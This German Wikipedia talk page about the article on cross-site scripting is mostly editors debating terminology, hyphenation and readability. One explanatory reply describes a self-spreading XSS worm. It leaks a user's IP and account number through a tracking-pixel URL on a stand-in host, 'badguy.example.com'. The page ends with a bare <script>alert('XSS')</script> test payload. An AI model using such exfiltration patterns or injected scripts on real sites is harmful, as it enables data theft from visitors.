Diskussion:Cross-Site-Scripting

Diese Diskussionsseite dient dazu, Verbesserungen am Artikel „Cross-Site-Scripting“ zu besprechen. Persönliche Betrachtungen zum Thema gehören nicht hierher. Für allgemeine Wissensfragen gibt es die Auskunft.

Füge neue Diskussionsthemen unten an:

Klicke auf Abschnitt hinzufügen, um ein neues Diskussionsthema zu beginnen.

• Diskussionsregeln
• Hilfe zu Diskussionsseiten
• Sei sachlich und freundlich!
• Greife niemanden persönlich an!
• Geh von guten Absichten aus.

Diese Diskussionsseite wurde aufgeräumt.
Einträge ohne direkten Diskussionsbezug oder nicht unterschriebene Einträge wurden ohne Archivierung entfernt, Verbleibendes ins Archiv verschoben, sofern die Diskussion als abgeschlossen erachtet wurde. Bitte nicht wieder zurückverschieben, sondern das Thema neu starten. Die Archivierung erfolgt von Zeit zu Zeit, um die Übersicht wiederherzustellen.

Dies betrifft nur Abschnitte bis zum 6. Februar 2008. Sie sind hier auffindbar: [1].

Abgrenzung zu anderen IT-Sicherheitsthemen mit dem Titel "Cross-Site ..."

Was haltet ihr davon die Titel Cross-Site Authentication, Cross-Site Cooking, Cross-Site Tracing und Cross-Site Request Forgery, die ja alle bloß Formen des Cross-Site Scripting sind, in diesem Artikel zusammenzuführen? Andernfalls sollten sie weiter ausgebaut werden, um dem Informationsgehalt eines eigenständigen Artikels gerecht zu werden. 89.166.154.153 21:11, 18. Sep. 2007 (CEST)

Cross-Site Request Forgery hat absolut gar nichts mit Cross-Site Scripting zu tun! XSS macht CSRF nur einfacher ausnutzbar. Unter Cross-Site Request Forgery ist der Untersched bereits sehr gut erklärt. Der Begriff CSRF ist genau wie XSS aus heutiger Sicht etws unglücklich, da damit unterschiedliche Angriffe/Schwachstellen bezeichnet werden. Leider haben sich diese Begriffe durchgesetzt, auch dann wenn sie nicht genau passen (HTML-Injection ist eigentlich kein XSS da kein Scripting). Also tragt mit der vorgeschlagenen "Zusammenführung" bitte nicht noch mehr zur Verwirrung bei. -- 24- Nov. 2007 Circe

Ich habe den ganzen Artikel überarbeitet und versucht dabei die Zusammenhänge herauszustellen. -- Glue 02:29, 19. Mai 2008 (CEST)

"Samy" als Beispiel?

Vielleicht könnte man auch die "Samy Story" als Beispiel für mögliche Auswirkungen einbauen: http://www.heise.de/newsticker/meldung/65039 Komentar von 217.166.237.2

Lemma

Im Englischen werden keine Bindestriche zur Verbindung von Substantiven verwendet: "cross site scripting". Im Deutschen macht diese Verwendung jedoch keinen Sinn und wird gerne als Deppenleerzeichen bezeichnet. Meiner Ansicht nach sollte der Titel damit "Cross-site-scripting" heissen. Besonders die Mischung von einem Bindestriche mit Leerzeichen macht meiner Meinung nach keinen Sinn. Titel ändern? Kore 11:55, 20. Mai 2007 (CEST)

Im Englischen (auch US) werden beide Varianten benutzt: "cross site" und "cross-site", letztere ist IMHO häufiger, falsch ist keine.

"Cross-site-scripting" ist definitiv falsch, weil alle drei Bestandteile Substantive sind. Darum ist die richtige Schreibweise Cross-Site-Scripting. Geht man jedoch von "cross site" aus, dann wäre "Cross-site-Scripting" richtig. Aber ich denke in der Praxis kann man diesen kleinen Unterschied durchaus verschmerzen, schauen wir in 99 Jahren nochmal ...

BTW, "Sinn macht" nie etwas ;-) es kann nur Sinn haben/ergeben.

-- 24. Nov 2007, Circe

Mein Vorschlag: Internetscripting - lieber wäre mir allerdings ein rein deutsches Lemma --SonniWP2 14:59, 12. Aug. 2007 (CEST)

Uh nein, bitte nicht. Bitte nicht einen etablierten Begriff wie "Cross-Site-Scripting" durch einen nichtssagenden, immer noch nicht deutschsprachigen und irreführenden Begriff wie "Internetscripting" ersetzen ;-) Warp 16:44, 12. Aug. 2007 (CEST)

Was haltet ihr denn von Rechnerfernsteuerung übers Netz? --SonniWP2 15:20, 22. Aug. 2007 (CEST)

Gar nichts! --84.157.129.236 21:59, 18. Dez. 2007 (CET)

Bitte das Leerzeichen durch einen Bindestrich ersetzen. Getrenntschreibung ist in diesen Fällen aber nach wie vor nicht erlaubt. Dies gilt auch dann, wenn die zusammengesetzten Substantive bzw. ihre einzelnen Bestandteile aus dem Englischen stammen. – 79.238.60.198 13:55, 28. Aug. 2011 (CEST)

Erledigt. – \ldblquote 01:49, 13. Sep. 2011 (CEST)

Überarbeiten

Hierzu noch eine Anmerkung: "In schwerwiegenden Fällen wäre es darüber hinaus aber dennoch möglich, die IP-Adresse des Computers, der den manipulierten Link veröffentlicht hat, herauszufinden." -> Dies stimmt so nicht. Ersteinmal ist es durch VPN's / Proxys leicht möglich seine Identität zu verschleiern. Hier könnte man natürlich Argumentieren dass man auch diese Provider nach Daten fragen könnten, jedoch Schätze ich, selbst wenn diese Lange Daten speichern, den Erfolg hier sehr gering ein. Selbst ohne proxy, ist es unwahrscheinlich, dass der Anschlussinhaber ermittelt werden kann. Selbst googel crawlt nur eine geringe Anzahl an webseiten stündlich, bis der entsprechende Link aufgerufen wurde kann einige Zeit vergehen. Das gleiche gilt denke ich auch für andere Suchmaschienen. Zusätzlich werden die Daten von deutschen Provider nur bis zu 5 Tage aufbewahrt, zumindest bei Flatrates. Bis die entsprechende Url aufgerufen, und der Betrieber Anzeige erstattet hat, wird so viel Zeit vergehen, die Daten zwischen Betreiber <-> Polizei <-> Suchmaschienen Betreiber <-> Webseite auf der der Link gepostet wurde <-> Internet anbieter des betroffenen <-> proxy, vpn , ausgetauscht wurden, das es viel wahrscheinlciher ist das sogar in schweren Fällen niemand ermittelt werden kann. (nicht signierter Beitrag von 91.56.245.248 (Diskussion) 00:07, 20. Jul 2011 (CEST))

Siehe auch die Kommentare zum Serverseitigen Scripting.

• Einleitung überarbeiten
• Unterschiedliche Typen vorstellen
• Begriff "Cross-Site" erklären (Persistant Scripting funktioniert ja eigentlich auf einer einzigen Seite)

-- iGEL·대화·Bew 14:54, 12. Aug. 2007 (CEST)

Die Weblinks sollten ausgedünnt und nur auf wirklich Relevantes reduziert werden. Zudem sollte ein engerer Bezug zu den anderen Cross-Site-Formen (siehe Kategorie Sicherheitslücken) hergestellt werden. 212.95.109.137 11:38, 12. Sep. 2007 (CEST)

"Dabei sollte man sich nicht darauf verlassen, „böse“ Eingaben zu definieren (Schwarze Liste), um diese herauszufiltern, da man nicht genau wissen kann, welche Angriffsmethoden es gibt. Besser ist es daher, die „guten“ Eingaben exakt zu definieren (Weiße Liste) und nur solche Eingaben zuzulassen." Diese Beschreibung ist viel zu schwammig und undifferenziert. Blacklisting und Whitelisting sind nicht beliebig austauschbar, sondern hängen vom Einsatzgebiet ab. Whitelisting ist in einem Wiki z.B. im eigentlichen Sinne nicht möglich, nur verbunden mit einem Filter. Besser wäre es zu behaupten, dass Whitelisting vorzuziehen ist, wo immer es möglich ist, da dadurch auch bisher unbekannte Angriffe ausgeschlossen werden. Das bezieht sich auch auf den zweiten Halbsatz im Artikel. "Welche Angriffsmethoden ist gibt" kann man wissen, welche zukünftigen Angriffsmethoden es gibt kann man nicht wissen. --migg 11:20, 6. Mär. 2008 (CET)

Jein. Sicher kann man in einem Wiki nichts generell Whitelisten. Aber man soll eben nicht nur bestimmte böse Sachen rausfiltern, sondern generell definieren, was gut ist und was nicht. Also muss man z.B. generell alle bösen Zeichen escapen. Was allerdings auch leicht den Charakter einer Blacklist hast. Schwierig. -- [tʁaˈveːn] 13:53, 6. Mär. 2008 (CET)

Ich hab mal angefangen ein bisschen dran zu werkeln (Abschnitt 1 und 2). Da ich mich sowieso gerade mit dem Thema beschäftige, werde ich in den nächsten Tagen den ganzen Artikel einmal überarbeiten. Mal sehen, ob ich die Abgrenzung zu den anderen genannten Artikel schaffe. -- Glue 17:12, 17. Mai 2008 (CEST)

So. Der Artikel ist jetzt komplett überarbeitet. Ich habe versucht die meisten Anregungen der Diskussionsseite einzuarbeiten und habe diese auch gleich noch aufgeräumt. Ich hoffe im Sinne aller Diskussionsteilnehmer.

Was ich nicht gemacht habe ist, die "Samy Story" (s. o.) als Beispiel einzubauen und die Weblinks auszudünnen. Das wäre also noch zu tun.

Ich möchte mich auch noch für die vielen Edits entschuldigen, die ich im Artikel verursacht habe. Es ist mir immer nochmal was aufgefallen. Sorry. -- Glue 02:29, 19. Mai 2008 (CEST)

DOM-Based XSS

Ich kann DOM-basiertes XSS zwar selbst nicht erklären, aber das Beispiel ist stink normales reflektives xss.

Jein, funktioniert natürlich ähnlich, aber in dem Beispiel geht's darum, dass nicht der Server die Daten zurück schickt (reflektiert) sonder ein (Java)Script direkt auf die Parameter zugreift.

Stell dir eine statische seite vor die index.html heißt. Wenn du nun ein Parameter dran hängst ändert sich nichts an der Serverausgabe, aber das Script was so oder so mit der Seite mitgeschickt wird wertet den Parameter trotzdem aus.

Allerdings weiß ich ehrlich gesagt nicht wo sowas eingesetzt wird, also ein Script, dass direkt auf URL Parameter zugreift-- 164.61.216.36 18:04, 1. Feb. 2010 (CET)

Weiterführende Links

Der Link zu XSS-Tutorial führt zu einen oberflächlichen Artikel. Ich habe ihn durch einen anderen ersetzt, der meiner Meinung nach qualitativ viel besser passt. Score365 17:42, 25. Aug. 2008 (CEST)

Cross-Site-Scripting schreibt sich im Deutschen mit zwei Bindestrichen

Im Gegensatz zum Englischen, das kaum zusammengesetzte Wörter kennt, werden im Deutschen ungebeugte Adjektive immer mit ihrem Substantiv zusammen als ein Wort geschrieben. Wo das aus Lesbarkeitsgründen nicht geht, müssen Bindestriche verwendet werden. Deshalb wird "Cross-Site-Scripting" im Deutschen nicht - wie im aktuellen Artikel - mit einem, sondern mit zwei Bindestrichen geschrieben. Ansonsten hieße es (wörtlich) übersetzt "Kreuzungsdomäne schreiben" und nicht "domänenübergreifendes Schreiben".

--My2Cents 19:16, 7. Feb. 2011 (CET)

Erledigt. – \ldblquote 01:49, 13. Sep. 2011 (CEST)

Seitenübergreifendes Scripting

da diese meldung in der deutschen version des ie angezeigt wird, wäre es vielleicht sinnvoll, dieses auch irgendwo so zu erwähnen? ich werde es mal als (dt: ...) mit einsetzen, falls das als unnütz erachtet wird... rausschmeissen^^ (nicht signierter Beitrag von 62.143.134.241 (Diskussion) 02:06, 23. Mai 2011 (CEST))

Reflektiertes XSS

Mussklprozz: Ich würde Dich bitten, https://www.owasp.org/images/b/b8/OWASPTop10_DE_Version_1_0.pdf zur Kenntnis zu nehmen. Dieses Dokument ist die deutsche Übersetzung der OWASP Top 10. Die Übersetzung hat etwa ein Jahr gedauert, weil Feedback aus der gesamten deutschsprachigen Web Application Security zusammengeflossen ist. Die klügsten Köpfe in diesem Gebiet saßen Tage und Wochen zusammen, um sich auf einen einheitlichen Sprachstandard zu einigen. Fakt ist: Die Wahl viel auf "reflektiertes XSS", egal ob Dir reflexiv sprachlich besser gefällt oder nicht (hier wurde auch kaum diskutiert). Ich bin nebenbei Lehrbeauftragter für Web Application Security, und die große Mehrheit meiner Lehr-Kollegen und fast alle Firmen - meiner eingeschlossen - die Reports über Penetrationstest auf Eben der Web Application Security erstellen, nutzen ausschließlich "refektiertes XSS". Wenn Dir das alles nicht genügt, frag einfach mal die Krake, was tatsächlich häufiger Verwendung findet. Deine nach zwei Minuten Prüfung Rückgängigmachung und insbesondere Dein Kommentar "reflexiv ist von der Wortbildung her genauer - Wörter mit "iv" weisen auf ein Mittel zu einem Ziel hin. Meiner Beobachtung nach ist es auch gebräuchlicher" ist - zumindest was die Gebräuchlichkeit angeht, sicher falsch. Leider wird die Wikipedia oft abgeschrieben, so dass mich aktuell interssiert hat, warum der Autor des BSI-IT-Grundschutz-Bausteins "Webanwendungen", das ich gerade reviewe, da ungebräuchliche "reflexiv" verwendet hat. Jetzt weiß ich es, und ich bitte Dich, es zu ändern, da es schlicht nicht den Tatsachen entspricht. Bei Rückfragen erreichst Du mich unter ralf.reinhardt@owasp.org. -- 178.27.211.67 12:17, 5. Jun. 2012 (CEST)

Respekt für Dein Ziel, an einem einheitlichen Sprachstandard mitzuwirken; Aufgabe der Wikipedia ist jedoch nicht, Standards zu setzen, sondern das Vorhandene wiederzugeben – Die Krake sagt mir: reflexives XSS versus reflektiertes XSS; Verhältnis etwa 10:1. Bei den Fachinstitutionen steht es 1:1, OWASP gegen BSI.

Vielleicht magst Du Dich damit anfreunden, Dir hier ein Nutzerkonto zuzulegen. Die Hälfte der Änderungen, die hier von IP-Bearbeitern eingegeben werden, sind unsinnig. Ich gebe zu, das führt zu einem gewissen Grundmisstrauen beim Sichten anonymer Beiträge. Andererseits sind Fachleute wie Du, die sich auf Ihrem Gebiet gut auskennen, hier hochwillkommen.

Weitere Meinungen? Gruß, --Mussklprozz (Diskussion) 13:00, 5. Jun. 2012 (CEST)

Will doch noch mal auf den sprachlichen Aspekt eingehen: Skripting ist ein Vorgang: Jemand setzt sich hin, schreibt ein Skript, und sorgt dafür, dass es den Opfern untergejubelt wird. Auf der Webseite reflektiert wird das Ergebnis, nicht der Vorgang des Schreibens. Reflexives Skripting erzeugt reflektierte Skripts wäre sprachlich korrekt – reflektiertes Skripting ist eine sprachliche Nachlässigkeit. Vielleicht hat der Kollege beim BSI etwas länger darüber nachgedacht? ;-) --Mussklprozz (Diskussion) 13:44, 5. Jun. 2012 (CEST)

Der technische Vorgang ist recht simpel: Ein Client schickt Daten an einen Server. Der Server nimmt diese Daten und schickt sie ohne die eigentlich notwendige Filterung (input validation, output escaping / sanitation) unverändert wieder zurück an den Client. Er "reflektiert" die Daten. Ob es sich bei diesen Daten um Klartext, HTML-Tags oder eben gültiges JavaScript handelt, spielt in diesem Zusammenhang keine Rolle, die Daten werden vom Server reflektiert. Deswegen nennt man es - bezogen auf "JavaScript-Injection" aka "XSS" - eben "reflektiertes XSS". Es geht hier um keine großartigen Finessen, wie bei reflexive Verben oder reflexive Relationen. Es ist trivial, es wird reflektiert.

Um genau nach einem Schlüsselwortpaar zu suchen, sind die Hochkomma wichtig. Versuche doch bitte mal: https://www.google.de/search?q=%22reflektiertes+XSS%22 und https://www.google.de/search?q=%22reflexives+XSS%22, dann steht es 708 : 31. Meines Erachtens kommen die 31 Treffer vor allem dadurch zustande, dass die Wikipedia von Leuten, die den Begriff vielleicht nicht im täglichen Sprachgebrauch nutzen, zitiert oder kopiert wurde (so wie es wohl im Entwurf des o.g. Bausteins geschah). Das BSI hat noch keine eigene "offizielle" Formulierung hierfür, und ich möchte als OWASP-Projektleiter des Reviews eben vermeiden, dass etwas Falsches in einen Quasi-Standard einfließt. Sonst haben wir eine Art "Kurzschluss". Ich persönlich denke, dass Deine (meines Erachtens technisch nicht sinnvoll zu begründende) Favorisierung von "reflexiv" hier viel Verwirrung bringt, da Deine Urteil auf Dein "Sprachgefühl" zurück geht. Ich halte es aber für zielführend, das zu nehmen, was "üblich" und in den Sprachgebrauch fest verankert ist. Das BSI schreibt übrigens das Erstellen von Bausteinen an Privatfirmen aus: Wer am günstigsten ist, der gewinnt. "Nachgedacht" hat beim Kopieren hier wahrscheinlich (leider) niemand im ausreichenden Maße. Ich würde auch die Unterüberschriften bei 3.1 / 3.2 / 3.3 wie folgt ändern: "Reflektiertes (nicht-persistentes) XSS", "Persistentes (beständiges) XSS", "DOM-basiertes (lokales) XSS". Dann ist die erste Nennung (ohne Klammer) - wenn schon nicht "die Norm" - dann zumindest "das Normale". Ach das würde dann "richtig" kopiert werden ;-)

Bei der Gelegenheit: Es schreibt sich eigentlich "Cross-Site Scripting" und nicht "Cross-Site-Scripting". Du würdest ja auch nicht "seitenübergreifendes-Skripting" sondern "seitenübergreifendes Skripting" schreiben, oder? Das ist aber eine andere Baustelle... Schöne Grüße, Ralf Reinhardt -- 178.27.211.67 14:59, 8. Jun. 2012 (CEST)

Wenn man sich mal auf das die Herkunft (Wortstamm) bezieht haben wir in Deutschland eine interessante Situation, da etwas einerseits reflektiert, dies dann aber eine Reflexion ist (siehe die schöne Erklärun unter http://woerter.germanblogs.de/archive/2010/03/10/reflektion-oder-reflexion-ableitung-des-lateinischen-wortes.htm). Reflexiv bedeutet rückbezüglich, was hier aber nicht stimmt, da hier die Daten zurückgespiegelt werden. die reflektierten Daten eine direkte Kopie der Originaldaten sind und nur in sofern mit ihnen in Bezug stehen, dass es eben Kopien der Eingabewerte an den verweundbaren Server sind. Von daher möchte ich die Verwendung des Wortes reflektives XSS hier unterstützen.

BTW: auch Babylon und andere Übersetzer übersetzen das Wort reflected in das Deutsche reflektiert.

Gruss Patrick Hildenbrand. (nicht signierter Beitrag von 155.56.68.217 (Diskussion) 16:00, 8. Jun. 2012 (CEST))

Wenn man den Duden hernimmt bedeutet reflexiv im bildungssprachlichen Bereich das selbe wie reflektiert, allerdings nur bildungssprachlich [2]. Reflektieren bedeutet zurückwerfen oder zurückstrahlen und ist damit die korrekte Form [3]. Insofern ist also reflektieren die korrekte Bezeichnung. -129.187.208.224 16:10, 8. Jun. 2012 (CEST)

Beim Duden bezieht sich die zweite (angesprochen) Definition von reflexiv auf das Substantiv Refexion im Sinne von "(bildungssprachlich) das Nachdenken; Überlegung, prüfende Betrachtung". Damit wird auch ganz klar deutlich, dass die "bildungssprachliche" Bedeutung von reflexiv hier nicht zum Tragen kommen kann - auch wenn ein solcher Angriff vielleicht durch Nachdenken gefunden wurde ;-) Bei XSS spielen weder Selbstbezüglichkeit noch die kritische Prüfung eine Rolle. Im Deutschen wird durch reflektiertes XSS der Charakter des Problems deutlich - reflexives XSS ist zum einen weder gebräuchlich noch schafft es sprachliche Klarheit. -- Kj owasp (Diskussion) 08:15, 11. Jun. 2012 (CEST)

Hallo zusammen. Ich bin beruflich im Umfeld von Web Sicherheit tätig und würde ebenfalls der Form "reflektiertes XSS" den Vorzug geben. Erstens ist diese Form meiner Erfahrung nach die gebräuchlichere. Ich kann mich nicht erinnern die Form "reflexives XSS" überhaupt schon einmal gehört oder gelesen zu haben. Zweitens schwingt, aus meinem Sprachgefühl heraus, bei reflexivem XSS immer das Reflexivpronomen "sich" mit. "Reflexives XSS" würde ich als ein "sich selbst reflektierendes" XSS verstehen. Dabei ist vielleicht zu beachten, dass im Sprachgebrauch XSS keinen Vorgang bezeichnet sondern namentlich eine Schwachstelle, eine Verwundbarkeit oder einen Angriff. 17:29, 8. Jun. 2012 (CEST) (ohne Benutzername signierter Beitrag von JanWolff42 (Diskussion | Beiträge))

Hallo auch von mir. Ich bin Autor des c't Artikel, der im Wikipedia-Artikel ja auch verlinkt wird, aber auch in der OWASP engagiert. Insofern knallhart voreingenommen :)

"Reflexiv" ist aus diversen der hier genannten Gründe nicht gebräuchlich und war es auch nie. Die Krake als Basis zu nehmen ist immer gefährlich, wegen dem Selbstbezug zurück in die Wikipedia. Nimmt man Fachliteratur und die allermeisten Texte und Präsentationen zu dem Thema, ist immer die Sprache von reflektiertem XSS. Auch wenn Wikipedia den Status Quo widergeben sollte, ist IMHO die Wiedergabe von Einzelnen nicht sinnvoll.

Da ich an Diskussionsprozessen bisher in der Wikipedia nicht so wahnsinnig oft beteiligt war: Wann machen wir an die Diskussion einen Knopf? Einziges Pro-Argument für "reflexiv drin lassen", das ich bislang sehe ist, dass die Krake da auch einige wenige Ergebnisse dazu hat. Kontra-Argumente sehe ich dergleichen mehr. Was tun?

--Tglemser (Diskussion) 10:46, 12. Jun. 2012 (CEST)

Sei's drum. Es ist zwar m. E. Sprachmurks – wie vieles in unserem Gewerbe ;-) – aber machen wir halt „den Knopf“. Wenn einer von Euch das ändern mag, werde ich es sichten. Danke an alle für ihre Beiträge. --Mussklprozz (Diskussion) 10:39, 13. Jun. 2012 (CEST)

Prima, vielen Dank! Ich habe mir noch erlaubt, in der Aufzählung der drei Arten die Begriffe "reflektiert" und "nicht-persistent" zu tauschen. Auf diese Weise wird immer der am häufigsten verwendetet Begriff an erster Stelle genannt, gefolgt von der Alternative. Weiterhin habe ich beim zweiten Spiegelstrich den "Angriff" entfernt, damit sind die drei Punkte in sich imho konsistenter. Schöne Grüße, Ralf Reinhardt (nicht signierter Beitrag von 178.27.211.67 (Diskussion) 11:33, 14. Jun. 2012 (CEST))

reflektiertes XSS

Kann den Ausführungen von OWASP nur zustimmen. Dies sollte ganz klar reflektiert und nicht reflexiv heissen. Denn die Technik bedeutet ja z.B. eine URL zu nutzen um den XSS von der Webseite zurück zum user reflektieren zu lassen. Reflexiv wäre hier eindeutig falsch. (nicht signierter Beitrag von 94.194.102.93 (Diskussion) 11:55, 10. Jun. 2012 (CEST))

der artikel ist schwer verständlich

der artikel über cross-site-scripting ist übelst schwer verständlich... ich habe den kompletten artikel 10 mal durchgelesen und bis jetzt nicht verstanden...

damit ein artikel für die meisten wikipedia-leser verständlich bleibt, müssen folgende voraussetzungen erfüllt sein!

- der artikel ist kurz und bündig - der artikel ist leicht verständlich - der artikel enthält möglichst wenige fremdwörter, um dem leser verständlich zu sein - die sätze müssen kurz gehalten werden - der artikel erklärt sein thema vollständig

bei diesem artikel mangelt es sehr, deswegen ist der artikel schwer verständlich... deswegen ... bitte bearbeiten (nicht signierter Beitrag von 88.71.173.60 (Diskussion) 21:25, 31. Dez. 2012 (CET))

Ich kann deine Kritik nachvollziehen.

Ich werde in den nächsten Wochen sehen, was sich tun lässt.

Forderung 1 und 5 stehen in einem Zielkonflikt, an Forderung 3 und 4 kann ich arbeiten – und hoffen, dass Forderung 2 verbessert wird; zumindest sprachlich keine sprachlichen Hürden geschaffen werden zusätzlich zur fachlichen Komplexität.

Erfolgreich in 2013 --PerfektesChaos 09:30, 2. Jan. 2013 (CET)

fragen zu cross-site-scripten

im artikel steht, browser mit script-block-fähigkeiten können xss-angriffe immun machen, no-script für firefox wäre doch so ein addon oder?

aber es hilft nich bei HTML-Injection (z. B. mit <IFRAME .../>) ... was hilft denn gegen html-injection

dann noch eine frage: ist es richtig, dass cross-site-scripten folgendes bedeutet: dass ein angreifer eine webseite baut, die selber keinen schaden anrichtet, aber diese seite hat dann ein schädliches script einer anderen seite implementiert? ist das cross-site-scripten? wenn ein angreifer einen befehl in die seite einbaut, die ein schädliches script von einer anderen seite lädt und ausführt? vielleicht lässt sich cross-site-scripten leichter und verständlicher erklären. (nicht signierter Beitrag von 88.71.173.252 (Diskussion) 10:31, 2. Jan. 2013 (CET))

• Ja, NoScript und seine Kollegen auf anderen Browsern versuchen das.
• IFRAME kann von NoScript unterbunden werden; standardmäßig erlaubt; siehe dort Einstellungen → Eingebettete Objekte.
  • Übrigens weigert sich die Wiki-Software genau deshalb, <IFRAME>irgendwas</IFRAME> aus dem Wikitext in die angezeigte Seite auszuliefern; statt dessen werden nur die desinfizierten Elemente sichtbar gemacht.
• Das mit dem verständlichen Erklären ist so eine Sache.
  • Eine andere Webseite ist nicht zwingend erforderlich.
  • Besucher A der Webseite hat sich Unsinn eingefangen. Durch Ausfüllen eines Formulars wird danach dieser schadhafte Unsinn an den Server geschickt. Dabei müssen nicht alle Felder eines Formulars für den Benutzer sichtbar sein; hier unter diesem Bearbeitungsfeld (das Teil eines Formulars ist) liegt versteckt ein Formularfeld

    type="hidden" name="wpStarttime" value="20130102215759"

  • Wenn der Server doof ist, analysiert er die Angaben nicht. Wenn das jetzt allen Benutzern angezeigt wird, etwa als Blog-Eintrag oder Gebrauchtwagen-Anzeige, dann wird das böse Skript auf der vom Server geliefeten Seite bei allen Lesern ausgeführt.
  • Besucher B der Webseite, der diesen Eintrag liest, führt jetzt ebenfalls das Skript aus; auch im von ihm erstellten neuen Blog-Eintrag oder Gebrauchtwagen-Anzeige wird der Schadcode eingebaut.
  • Also verteilt sich der Schadcode nach und nach bei immer mehr Benutzern der Webseite.
  • Die eben beschriebene Funktion war die Reproduktion, also Kinder in die Welt setzen. Gleichzeitig kann man aber etwas Böses machen, nämlich ein Bild in die Seite einfügen, das 1×1 transparentes Pixel hat. Die URL zu diesem Bild laute: badguy.example.com/1px/user=88.71.173.252/Kontonummer=47114711 (vom bösen Skript generiert; egal, der Server badguy.example.com antwortet auf alles, was mit /1px/ anfängt, mit dem transparenten Pixel.
• Das ist nur eine von vielen Varianten.

Soviel für heute --PerfektesChaos 23:25, 2. Jan. 2013 (CET)

Beispiel zu nicht-persistent schwer verständlich

Obwohl das Codebeispiel für nicht-persistente Angriffe an sich auch für interessierte Laien nachvollziehbar ist, liest es sich für mich so, als würde ein Angreifer *sich selbst* ein Script per Suchformular schicken. Könnte das jemand noch etwas erläutern?Zettberlin (Diskussion) 23:59, 22. Okt. 2015 (CEST)

Seit 2009 oder früher steht im Text "Neuerdings..."

Seit 2009 oder früher steht im Text "Neuerdings..." Gibt es keine Bots, die solche Seiten als überarbeitungswürdig kennzeichnen? (nicht signierter Beitrag von 217.13.175.130 (Diskussion) 13:44, 8. Apr. 2016 (CEST))

<script type="text/javascript">alert("XSS")</script>